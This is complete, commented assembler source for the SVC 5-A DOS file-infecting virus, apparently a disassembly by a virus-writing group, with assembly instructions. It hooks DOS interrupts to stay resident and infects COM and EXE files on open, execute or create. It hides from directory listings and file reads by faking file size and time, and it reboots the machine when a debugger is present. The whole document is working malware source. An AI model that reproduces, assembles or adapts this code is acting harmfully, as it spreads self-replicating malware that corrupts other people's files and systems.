.model tiny .code ; SVC 5-A ; Disassembly done by Dark Angel of Phalcon/Skism ; Assemble with Tasm /m SVC5-A org 0 start: call next next: pop si db 83h,0EEh,3 ; sub si,offset next mov word ptr cs:[si+offset storeAX],ax push es push si xor dx,dx mov ah,84h ; installation check int 21h pop si push si cmp dx,1990h jne installvirus cmp bh,byte ptr cs:[si+versionbyte] ja go_exitvirus jc installvirus push si push es xchg ah,al ; convert ax to virus xor ax,0FFFFh ; CS mov es,ax ; es->resident virus push cs pop ds xor di,di mov cx,begindata - start - 1; same version? cld repe cmpsb pop es pop si jz go_exitvirus ; yes, exit jmp reboot ; else reboot go_exitvirus: jmp exitvirus installvirus: push es xor ax,ax mov ds,ax les ax,dword ptr ds:21h*4 ; save old int 21h mov cs:[si+oldint21],ax ; handler mov word ptr cs:[si+oldint21+2],es les ax,dword ptr ds:8*4 ; save old int 8 handler mov cs:[si+oldint8],ax mov word ptr cs:[si+oldint8+2],es pop es mov cs:[si+carrierPSP],es ; save current PSP mov ah,49h ; Release memory @ PSP int 21h jc exitvirus ; exit on error mov ah,48h ; Find total memory size mov bx,0FFFFh int 21h sub bx,(viruslength+15)/16+1; shrink allocation for carrier jc exitvirus mov cx,es ; compute new memory stc ; block location adc cx,bx mov ah,4Ah ; Allocate memory for carrier int 21h mov bx,(viruslength+15)/16 stc sbb es:[2],bx ; fix high memory field in PSP mov es,cx mov ah,4Ah ; Allocate memory for virus int 21h mov ax,es ; Go to virus MCB dec ax mov ds,ax mov word ptr ds:[1],8 ; mark owner = DOS mov ax,cs:[si+carrierPSP] ; go back to carrier PSP dec ax ; go to its MCB mov ds,ax mov byte ptr ds:[0],'Z' ; mark it end of block push cs pop ds xor di,di ; copy virus to high memory mov cx,viruslength + 1 cld rep movsb xor ax,ax mov ds,ax cli ; and set up virus mov word ptr ds:21h*4,offset int21 mov word ptr ds:21h*4+2,es ; interrupt handlers mov word ptr ds:8*4,offset int8 mov word ptr ds:8*4+2,es exitvirus: sti push cs pop ds pop si push si mov ah,byte ptr cs:[si+offset encryptval1] mov dh,byte ptr cs:[si+offset encryptval2] add si,offset savebuffer call decrypt pop si pop es cld cmp cs:[si+offset savebuffer],'ZM' je returnEXE mov di,100h push cs pop ds push cs pop es push si add si,offset savebuffer movsb movsw pop si mov ax,100h push ax mov ax,word ptr cs:[si+offset storeAX] retn returnEXE: mov bx,es add bx,10h add bx,cs:[si+savebuffer+16h] mov word ptr cs:[si+jmpcs],bx mov bx,cs:[si+savebuffer+14h] mov word ptr cs:[si+jmpip],bx mov bx,es mov ds,bx add bx,10h add bx,cs:[si+savebuffer+0eh] cli mov ss,bx mov sp,cs:[si+savebuffer+10h] sti mov ax,word ptr cs:[si+offset storeAX] db 0EAh ; jmp far ptr jmpip dw 0 jmpcs dw 0 int21: pushf push ax push bx push cx push dx push si push di push ds push es mov word ptr cs:int21command,ax cmp word ptr cs:int21command,4B03h ; load/no PSP je _load_noexecute cmp word ptr cs:int21command,4B01h ; load/no execute je _load_noexecute cmp word ptr cs:int21command,4B00h ; load/execute je _load_execute cmp ah,3Dh ; handle open je _handleopen cmp ah,3Eh ; handle close je _handleclose cmp ah,40h ; handle write je _handlewrite cmp ah,4Ch ; terminate je _terminate jmp short exitint21 nop _terminate: jmp terminate _handlewrite: jmp handlewrite _load_noexecute: jmp load_noexecute _handleclose: jmp handleclose _handlecreate: jmp handlecreate _load_execute: jmp load_execute _handleopen: jmp handleopen _FCBfindfirstnext: jmp FCBfindfirstnext _ASCIIfindfirstnext: jmp ASCIIfindfirstnext _handlegoEOF: jmp handlegoEOF _handleopen2: jmp handleopen2 _handleread: jmp handleread _getsetfiletime: jmp getsetfiletime return: retn load_execute_exit: call restoreint24and23 jmp short exitint21 nop restoreint24and23: xor ax,ax mov ds,ax mov ax,cs:oldint24 mov ds:24h*4,ax mov ax,cs:oldint24+2 mov word ptr ds:24h*4+2,ax mov ax,cs:oldint23 mov ds:23h*4,ax mov ax,cs:oldint23+2 mov word ptr ds:23h*4+2,ax retn exitint21: pop es pop ds pop di pop si pop dx pop cx pop bx pop ax cmp ah,3Ch ; handlecreate je _handlecreate cmp ah,83h ; installation check for je old_installation_check ; other versions of SVC cmp ah,84h ; installation check for je installation_check ; this version of SVC cmp ah,4Eh ; find first? je _ASCIIfindfirstnext cmp ah,4Fh ; find next? je _ASCIIfindfirstnext cmp ah,11h ; find first je _FCBfindfirstnext cmp ah,12h ; find next je _FCBfindfirstnext cmp ax,4202h ; go EOF je _handlegoEOF cmp ah,3Dh ; handle open je _handleopen2 cmp ah,3Fh ; handle read je _handleread cmp ah,57h ; get/set file time je _getsetfiletime popf ; chain to original int jmp dword ptr cs:oldint21 ; 21h handler callint21: cli pushf call dword ptr cs:oldint21 retn installation_check: popf mov bh,cs:versionbyte mov ax,cs xor ax,0FFFFh xchg ah,al common_installation_check_return: mov dx,1990h iret old_installation_check: popf jmp short common_installation_check_return popdsdx_return: pop dx pop ds jmp return load_execute: call check_chkdsk call infectdsdx jmp load_execute_exit infectdsdx: call setint24and23 jmp short infectdsdx_continue nop setint24and23: xor ax,ax mov es,ax les ax,dword ptr es:24h*4 mov cs:oldint24,ax mov cs:oldint24+2,es xor ax,ax mov es,ax les ax,dword ptr es:23h*4 mov cs:oldint23,ax mov cs:oldint23+2,es xor ax,ax mov es,ax mov word ptr es:24h*4,offset int24 mov word ptr es:24h*4+2,cs mov word ptr es:23h*4,offset int23 mov word ptr es:23h*4+2,cs retn infectdsdx_continue: push ds push dx cmp byte ptr cs:tickcount,3Ch ; don't infect too early jb popdsdx_return ; after previous one mov ax,4300h ; get file attributes call callint21 jc popdsdx_return mov cs:fileattr,cx and cl,0FEh ; turn off r/o bit mov ax,4301h ; and reset file attributes call callint21 jc popdsdx_return mov cx,cs:fileattr and cl,4 ; test cl,4 cmp cl,4 ; check system attribute je infecthandle_exit ; exit if set mov ax,3D02h ; open file read/write call callint21 jc infecthandle_exit mov bx,ax ; handle to bx push dx ; save file name pointer mov ax,5700h ; get file time/date call callint21 pop dx and cx,1Eh ; check if seconds = 60 cmp cx,1Eh ; (infection marker) jne infect_dsdx_checkmo ; continue if not so marked jmp short infecthandle_alreadyinfected nop infect_dsdx_checkmo: call check_command_com jnc infecthandle jmp short infecthandle_alreadyinfected nop check_command_com: cld mov si,dx check_command_com_loop: lodsw cmp ax,'MM' ; COMMAND.COM? je check_command_com_yes cmp ax,'mm' je check_command_com_yes cmp ax,'MB' ; IBMBIO/IBMDOS? je check_command_com_yes cmp ax,'mb' je check_command_com_yes cmp ah,0 je check_command_com_no dec si jmp short check_command_com_loop check_command_com_yes: stc retn check_command_com_no: clc retn infecthandle_exit: jmp popdsdx_return infecthandle: cmp bx,5 ; check if handle too jb infecthandle_exit ; small (predefined) call checkifinfected jnc infecthandle_alreadyinfected call infect_handle infecthandle_alreadyinfected: mov ah,3Eh ; Close file call callint21 pop dx pop ds jc infecthandle_exit2 mov ax,4301h ; restore file attributes mov cx,cs:fileattr call callint21 infecthandle_exit2: jmp return infect_handle_exit: jmp infect_handle_error infect_handle: mov ax,5700h ; get file time/date call callint21 mov cs:filetime,cx mov cs:filedate,dx xor cx,cx xor dx,dx mov ax,4200h ; go to start of file call callint21 push cs pop ds mov cx,18h ; read header mov dx,offset savebuffer mov ah,3Fh call callint21 jc infect_handle_exit push cs pop es push cs pop ds mov si,offset savebuffer ; copy to work buffer mov di,offset workbuffer mov cx,18h cld rep movsb mov ax,2C00h call callint21 mov byte ptr cs:encryptval2,dh mov byte ptr cs:encryptval1,dl mov ah,dl mov si,offset savebuffer call decrypt cmp cs:workbuffer,'ZM' ; check if EXE je infect_handle_EXE mov cs:workbuffer,0E9h ; encode the jmp xor cx,cx xor dx,dx mov ax,4202h ; get file size call callint21 cmp dx,0 jne infect_handle_exit cmp ax,viruslength jb infect_handle_exit cmp ax,0EDE1h ; check if too large jae infect_handle_exit sub ax,3 ; adjust size to jmp location mov word ptr cs:workbuffer+1,ax call writevirusandheader ; write virus to file jmp infect_handle_finish writevirusandheader: push cs pop ds xor dx,dx mov cx,viruslength mov ah,40h ; concatenate virus call callint21 jc writevirusandheader_exit cmp ax,viruslength jne writevirusandheader_exit xor cx,cx xor dx,dx mov ax,4200h ; go to start of file call callint21 jc writevirusandheader_exit mov dx,offset workbuffer ; write new header to file mov ah,40h mov cx,18h call callint21 retn writevirusandheader_exit: stc retn infect_handle_EXE: xor cx,cx ; go to end of file xor dx,dx mov ax,4202h call callint21 push dx ; save file size push ax mov si,ax xor ax,ax xchg ax,dx mov di,1000h mul di mov dx,ax mov ax,si mov si,dx xor dx,dx mov di,10h ; convert to paragraphs div di add ax,si xchg ax,dx sub dx,cs:workbuffer+8 ; subtract header size mov word ptr cs:workbuffer+16h,dx ; insert new initial mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file) pop ax pop dx add ax,viruslength ; calculate new image adc dx,0 ; size mod 512 and div 512 mov di,200h div di cmp dx,0 je infect_handle_EXE_nofixup add ax,1 ; pagelength fixup infect_handle_EXE_nofixup: mov cs:workbuffer+4,ax mov cs:workbuffer+2,dx mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP mov word ptr cs:workbuffer+0Eh,ds mov ax,word ptr cs:workbuffer+14h add ax,17D7h mov word ptr cs:workbuffer+10h,ax call writevirusandheader ; write virus to file jmp short infect_handle_finish nop infect_handle_error: stc infect_handle_finish: mov ax,5701h ; restore file time/date mov cx,cs:filetime mov dx,cs:filedate jc infect_handle_noreset and cx,0FFFEh ; but set seconds to or cx,1Eh ; 60 mov byte ptr cs:tickcount,0 ; reset tickcount infect_handle_noreset: call callint21 retn int23: iret int24: mov al,3 iret load_noexecute_exit: jmp load_noexecute_closeexit load_noexecute: call setint24and23 push ds push dx mov ax,4300h ; get file attributes call callint21 jc load_noexecute_exit mov cs:fileattr,cx and cl,0FEh ; turn off r/o bit mov ax,4301h ; reset attributes call callint21 jc load_noexecute_exit mov ax,3D02h ; open file read/write call callint21 jc load_noexecute_exit mov bx,ax ; handle to bx call checkifinfected jc load_noexecute_exit jmp short load_noexecute_disinfect nop checkifinfected_exit: stc ; mark infected retn ; and exit checkifinfected: mov ax,5700h ; get file time/date call callint21 mov cs:filedate,dx mov cs:filetime,cx and cx,1Fh cmp cx,1Eh jne checkifinfected_exit xor cx,cx xor dx,dx mov ax,4202h ; go to end of file call callint21 jc checkifinfected_exit mov cs:filesizelo,ax ; save filesize mov cs:filesizehi,dx sub ax,endvirus - infection_marker sbb dx,0 mov cx,ax xchg cx,dx mov ax,4200h ; rewind to infection call callint21 ; marker jc checkifinfected_exit push cs pop ds mov ah,3Fh ; read file mov cx,3 mov dx,offset savebuffer call callint21 jc checkifinfected_exit push cs pop es mov si,offset savebuffer ; check for infection mov di,offset infection_marker mov cx,3 ; marker repne cmpsb jnz checkifinfected_exit clc ; mark not infected retn ; and exit load_noexecute_disinfect: call disinfect jmp load_noexecute_closeexit disinfect_exit: jmp disinfect_error disinfect: mov dx,cs:filesizelo mov cx,cs:filesizehi sub dx,75h ; go to savebuffer nop sbb cx,0 mov ax,4200h call callint21 jc disinfect_exit jmp short disinfect_file nop jmp load_noexecute_closeexit disinfect_file: push cs pop ds mov ah,3Fh ; Read carrier's mov cx,18h ; original header mov dx,offset savebuffer push cs pop ds call callint21 jc disinfect_exit mov dx,cs:filesizelo ; go to decryption mov cx,cs:filesizehi ; values sub dx,endvirus - encryptval1 nop sbb cx,0 mov ax,4200h call callint21 mov dx,offset encryptval1 mov ah,3Fh ; read decryption values mov cx,2 call callint21 mov si,offset savebuffer mov ah,byte ptr cs:encryptval1 mov dh,byte ptr cs:encryptval2 call decrypt ; decrypt old header xor cx,cx xor dx,dx mov ax,4200h call callint21 jc disinfect_error mov ah,40h ; Write old header to mov cx,18h ; file mov dx,offset savebuffer call callint21 jc disinfect_error mov dx,cs:filesizelo mov cx,cs:filesizehi sub dx,viruslength sbb cx,0 ; go to end of carrier mov ax,4200h ; file and call callint21 jc disinfect_error mov ah,40h ; truncate file xor cx,cx ; at current position call callint21 jc disinfect_error mov ax,5701h ; restore file time/date mov dx,cs:filedate mov cx,cs:filetime xor cx,1Fh call callint21 retn disinfect_error: stc ; mark error retn load_noexecute_closeexit: mov ah,3Eh ; Close file and call callint21 mov ax,4301h ; restore attributes mov cx,offset fileattr ; BUG!!! pop dx pop ds call callint21 call restoreint24and23 jmp exitint21 FCBfindfirstnext: call dword ptr cs:oldint21 ; prechain pushf pop cs:returnFlags cmp al,0FFh je FCBfindfirstnext_exit cmp cs:chkdskflag,0 jne FCBfindfirstnext_exit push ax push bx push cx push dx push es push ds mov ah,2Fh ; Get DTA call callint21 cmp word ptr es:[bx],0FFh ; extended FCB? jne FCBfindfirstnext_noextendedFCB add bx,8 ; convert if so FCBfindfirstnext_noextendedFCB: mov ax,es:[bx+16h] and ax,1Fh ; check if seconds = 60 cmp ax,1Eh jne FCBfindfirstnext_notinfected xor word ptr es:[bx+16h],1Fh; fix seconds field sub word ptr es:[bx+1Ch],viruslength sbb word ptr es:[bx+1Eh],0 ; shrink size FCBfindfirstnext_notinfected: pop ds pop es pop dx pop cx pop bx pop ax FCBfindfirstnext_exit: pop cs:storesIP pop cs:storesCS popf push cs:returnFlags push cs:storesCS push cs:storesIP iret ASCIIfindfirstnext: call dword ptr cs:oldint21 ; prechain pushf pop cs:returnFlags jc ASCIIfindfirstnext_exit cmp cs:chkdskflag,0 jne ASCIIfindfirstnext_exit push ax push bx push cx push dx push es push ds mov ah,2Fh ; Get DTA call callint21 mov ax,es:[bx+16h] ; get file time and ax,1Fh ; to check if file cmp ax,1Eh ; infected jne ASCIIfindfirstnext_notinfected xor word ptr es:[bx+16h],1Fh ; hide time change sub word ptr es:[bx+1Ah],viruslength; and file length sbb word ptr es:[bx+1Ch],0 ; change ASCIIfindfirstnext_notinfected: pop ds pop es pop dx pop cx pop bx pop ax ASCIIfindfirstnext_exit: pop cs:storesIP pop cs:storesCS popf push cs:returnFlags push cs:storesCS push cs:storesIP iret handleopen: call check_infectok jnc handleopen_continue jmp exitint21 check_infectok: cld mov si,dx lodsw cmp ah,':' jne check_infectok_nodrive cmp al,'a' ; make sure not floppy je check_infectok_exit cmp al,'A' je check_infectok_exit cmp al,'B' jb check_infectok_exit ; BUG cmp al,'b' je check_infectok_exit jmp short check_extension nop check_infectok_exit: jmp short check_extension_notok nop check_infectok_nodrive: mov ah,19h ; get default drive call callint21 cmp al,2 ; make sure not floppy jae check_extension jmp short check_extension_notok db 90h check_extension: cld mov si,dx check_extension_findextension: lodsb cmp al,'.' je check_extension_foundextension cmp al,0 jne check_extension_findextension jmp short check_extension_notok db 90h check_extension_foundextension: lodsw cmp ax,'OC' je check_extension_checkcom cmp ax,'oc' je check_extension_checkcom cmp ax,'XE' je check_extension_checkexe cmp ax,'xe' je check_extension_checkexe jmp short check_extension_notok db 90h check_extension_checkcom: lodsb cmp al,'M' je check_extension_ok cmp al,'m' je check_extension_ok jmp short check_extension_notok db 90h check_extension_checkexe: lodsb cmp al,'E' je check_extension_ok cmp al,'e' je check_extension_ok jmp short check_extension_notok db 90h check_extension_ok: clc retn check_extension_notok: stc retn handleopen_continue: call infectdsdx call restoreint24and23 jmp exitint21 handlecreate: mov word ptr cs:storess,ss ; preserve ss and sp mov word ptr cs:storesp,sp call dword ptr cs:oldint21 cli mov ss,word ptr cs:storess mov sp,word ptr cs:storesp sti pop cs:returnFlags ; save return flags pushf push ax push bx push cx push ds push es push si push di jc handlecreate_exit push dx push ax call check_extension pop ax pop dx jc handlecreate_exit push ax call check_command_com pop ax jc handlecreate_exit mov cs:handletoinfect,ax ; save handle to infect ; upon close handlecreate_exit: pop di pop si pop es pop ds pop cx pop bx pop ax jmp exit_replaceflags handleclose_exit: mov cs:filehand,0 jmp exitint21 handleclose: cmp bx,0 jne handleclose_continue jmp exitint21 handleclose_continue: cmp bx,cs:handletoinfect je handleclose_infect cmp bx,cs:filehand je handleclose_exit jmp exitint21 handleclose_infect: mov ah,45h ; Duplicate file handle call callint21 jc handleclose_infect_exit xchg ax,bx call setint24and23 call handleclose_infecthandle call restoreint24and23 handleclose_infect_exit: mov cs:handletoinfect,0 jmp exitint21 handleclose_infecthandle: push ds push dx jmp infecthandle int8: push ax push ds pushf cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount je int8checkint1 inc cs:tickcount ; one mo tick int8checkint1: xor ax,ax mov ds,ax cmp word ptr ds:1*4,offset int1 ; int 1 changed? jne int8setint1 ; fix it if so mov ax,cs cmp word ptr ds:1*4+2,ax jne int8setint1 int8checkint3: cmp word ptr ds:3*4,offset int3 ; int 3 changed? jne int8setint3 ; fix it if so mov ax,cs cmp word ptr ds:3*4+2,ax jne int8setint3 exitint8: popf pop ds pop ax jmp dword ptr cs:oldint8 int8setint1: push es les ax,dword ptr ds:1*4 mov cs:oldint1,ax mov word ptr cs:oldint1+2,es mov word ptr ds:1*4,offset int1 mov word ptr ds:1*4+2,cs pop es jmp short int8checkint3 int8setint3: push es les ax,dword ptr ds:3*4 mov cs:oldint3,ax mov word ptr cs:oldint3+2,es mov word ptr ds:3*4,offset int3 mov word ptr ds:3*4+2,cs pop es jmp short exitint8 int3: ; reboot if debugger push bp ; is active push ax mov bp,sp add bp,6 mov bp,[bp] mov ax,cs cmp bp,ax pop ax pop bp jz reboot jmp dword ptr cs:oldint3 exitint1: iret int1: push bp ; this routine doesn't push ax ; do very much that's mov bp,sp ; meaningful add bp,6 mov bp,[bp] mov ax,cs cmp bp,ax pop ax pop bp jz exitint1 jmp dword ptr cs:oldint1 reboot: db 0EAh ; jmp F000:FFF0 db 0F0h, 0FFh, 0, 0F0h ; (reboot) decrypt: push bx push es call decrypt_next decrypt_next: pop bx mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah nop mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh nop push ds pop es mov di,si mov cx,18h cld decrypt_loop: lodsb db 0FFh, 0C4h ; inc sp stosb db 0, 0E6h ; add dh,ah loop decrypt_loop mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why? pop es pop bx retn handlegoEOF: popf cmp cs:filehand,bx ; currently working on this? jne handlegoEOFexit mov cs:tempstoreDX,dx ; save offset from EOF mov cs:tempstoreCX,cx xor cx,cx xor dx,dx call callint21 ; go to EOF sub ax,viruslength ; shrink to carrier size sbb dx,0 mov cx,ax xchg cx,dx add dx,cs:tempstoreDX ; add offset from carrier adc cx,cs:tempstoreCX ; EOF mov ax,4200h ; and do it handlegoEOFexit: jmp dword ptr cs:oldint21 handleopen2: call dword ptr cs:oldint21 pushf push ax push bx push cx push dx push di push si push ds push es jc handleopen2_exit cmp cs:filehand,0 jne handleopen2_exit push ax mov bx,ax call checkifinfected pop ax jc handleopen2_alreadyinfected mov cs:filehand,ax ; save file handle for mov bx,ax ; later use mov ax,4202h ; go to end of file xor cx,cx ; to find file size xor dx,dx call callint21 sub ax,viruslength ; calculate carrier sbb dx,0 ; size and store it mov cs:carrierEOFhi,dx mov cs:carrierEOFlo,ax handleopen2_alreadyinfected: xor cx,cx ; go to start of file xor dx,dx mov ax,4200h call callint21 handleopen2_exit: pop es pop ds pop si pop di pop dx pop cx pop bx pop ax exit_replaceflags: popf pop cs:storesIP pop cs:storesCS pop cs:returnFlags pushf push cs:storesCS push cs:storesIP iret handleread_exit: jmp handleread__exit handleread: call dword ptr cs:oldint21 ; prechain pushf push ax push cx push dx push ds push di push si push es jc handleread_exit ; exit on error cmp cs:filehand,0 je handleread_exit cmp cs:filehand,bx jne handleread_exit mov cs:bufferoff,dx mov cs:bufferseg,ds mov cs:bytesread,ax xor cx,cx ; get current file position xor dx,dx mov ax,4201h call callint21 jc handleread_exit sub ax,cs:bytesread ; find pre-read location sbb dx,0 ; to see if need to mov cs:origposhi,dx ; redirect it mov cs:origposlo,ax mov ax,4202h ; go to end of file xor cx,cx xor dx,dx call callint21 sub ax,viruslength sbb dx,0 mov cs:carrierEOFlo,ax mov cs:carrierEOFhi,dx cmp cs:origposhi,0 ; check if read was jne handleread_notinheader ; from the header cmp cs:origposlo,18h jb handleread_inheader handleread_notinheader: mov cx,cs:origposhi ; check if read extended mov dx,cs:origposlo ; into the virus add dx,cs:bytesread adc cx,0 cmp cx,cs:carrierEOFhi jb handleread_notinvirus ja handleread_invirus cmp dx,cs:carrierEOFlo ja handleread_invirus handleread_notinvirus: mov cx,cs:origposhi ; return to proper file mov dx,cs:origposlo ; position add dx,cs:bytesread adc cx,0 mov ax,4200h call callint21 handleread__exit: pop es pop si pop di pop ds pop dx pop cx pop ax jmp exit_replaceflags handleread_invirus: jmp handleread__invirus handleread_inheader: cmp cs:bytesread,0 je handleread_notinheader mov cx,cs:carrierEOFhi mov dx,cs:carrierEOFlo add dx,offset savebuffer adc cx,0 mov ax,4200h call callint21 jc handleread_notinheader push ds pop es push cs pop ds mov dx,offset savebuffer mov ah,3Fh ; Read header mov cx,18h call callint21 jc handleread_notinheader cmp ax,18h jne handleread_notinheader mov cx,cs:carrierEOFhi ; go to decryption values mov dx,cs:carrierEOFlo add dx,offset encryptval1 adc cx,0 mov ax,4200h call callint21 mov ah,3Fh ; read decryption values mov cx,2 mov dx,offset encryptval1 call callint21 jc handleread_inheader_error mov si,offset savebuffer mov ah,byte ptr cs:encryptval1 mov dh,byte ptr cs:encryptval2 call decrypt mov cx,cs:origposlo neg cx add cx,18h cmp cx,cs:bytesread jb handleread_inheader_noadjust mov cx,cs:bytesread handleread_inheader_noadjust: mov si,offset savebuffer ; copy previously read add si,cs:origposlo ; stuff if necessary mov di,cs:bufferoff mov es,cs:bufferseg cld cmp cx,0 je handleread_inheader_nomove rep movsb handleread_inheader_nomove: jmp handleread_notinheader handleread_inheader_error: jmp handleread_notinheader handleread__invirus: mov cx,cs:origposhi cmp cx,cs:carrierEOFhi ja handleread__invirus_gocarrierEOF jc handleread__invirus_readpart mov cx,cs:origposlo cmp cx,cs:carrierEOFlo jb handleread__invirus_readpart handleread__invirus_gocarrierEOF: mov cx,cs:origposhi mov dx,cs:origposlo mov ax,4200h call callint21 xor ax,ax handleread__invirus_exit: pop es pop si pop di pop ds pop dx pop cx pop cs:returnFlags jmp exit_replaceflags handleread__invirus_readpart: mov cx,cs:carrierEOFhi ; read portion of mov dx,cs:carrierEOFlo ; file up to virus mov ax,4200h call callint21 sub ax,cs:origposlo jmp short handleread__invirus_exit handlewrite: cmp bx,0 je handlewrite_exit cmp bx,cs:filehand jne handlewrite_exit mov ax,4201h ; get current position xor cx,cx ; in the file xor dx,dx call callint21 jc handlewrite_exit mov cs:curposlo,ax mov cs:curposhi,dx mov ax,4202h ; go to end of file xor cx,cx ; to find the filesize xor dx,dx call callint21 mov cs:filesizelo,ax mov cs:filesizehi,dx call disinfect ; disinfect the file jc handlewrite_done cmp cs:handletoinfect,0 jne handlewrite_done mov cs:handletoinfect,bx mov cs:filehand,0 handlewrite_done: mov dx,cs:curposlo ; return to original mov cx,cs:curposhi ; position mov ax,4200h call callint21 handlewrite_exit: jmp exitint21 terminate: mov cs:chkdskflag,0 jmp exitint21 check_chkdsk: mov si,dx cld check_chkdsk_loop1: lodsw cmp ah,0 je check_chkdsk_exit cmp ax,'HC' je check_chkdsk_loop2 cmp ax,'hc' je check_chkdsk_loop2 dec si jmp short check_chkdsk_loop1 check_chkdsk_exit: retn check_chkdsk_loop2: push si lodsw cmp ax,'DK' pop si jz check_chkdsk_found cmp ax,'dk' je check_chkdsk_found dec si jmp short check_chkdsk_loop1 check_chkdsk_found: mov cs:chkdskflag,1 retn getsetfiletime: cmp al,0 ; get file tiem? jne getsetfiletime_exit ; nope, exit call dword ptr cs:oldint21 ; prechain pushf and cx,1Eh ; if (seconds == 60) cmp cx,1Eh ; then xor with 60h jne getsetfiletime_nofix ; to hide the change xor cx,1Eh ; otherwise, don't getsetfiletime_nofix: jmp exit_replaceflags getsetfiletime_exit: popf jmp dword ptr cs:oldint21 db '(c) 1990 by SVC,Vers. ' infection_marker db '5.0 ',0 begindata: oldint1 dw 0, 0 oldint3 dw 0, 0 oldint8 dw 0, 0 oldint21 dw 0, 0 savebuffer dw 20CDh dw 11 dup (0) tickcount db 0 carrierPSP dw 0 origposlo dw 0 origposhi dw 0 carrierEOFlo dw 0 carrierEOFhi dw 0 bytesread dw 0 bufferoff dw 0 bufferseg dw 0 tempstoreCX dw 0 tempstoreDX dw 0 filehand dw 0 fileattr dw 0 filetime dw 0 filedate dw 0 chkdskflag dw 0 oldint24 dw 0, 0 oldint23 dw 0, 0 handletoinfect dw 0 storesIP dw 0 storesCS dw 0 returnFlags dw 0 filesizelo dw 0 filesizehi dw 0 curposlo dw 0 curposhi dw 0 workbuffer dw 12 dup (0) storeAX dw 0 db 0 storess dw 0 storesp dw 0 int21command dw 0 encryptval1 db 0 encryptval2 db 0 dw 1990h ; written 1990 versionbyte db 50h ; version 5.0 endvirus = $ viruslength = $ - start end start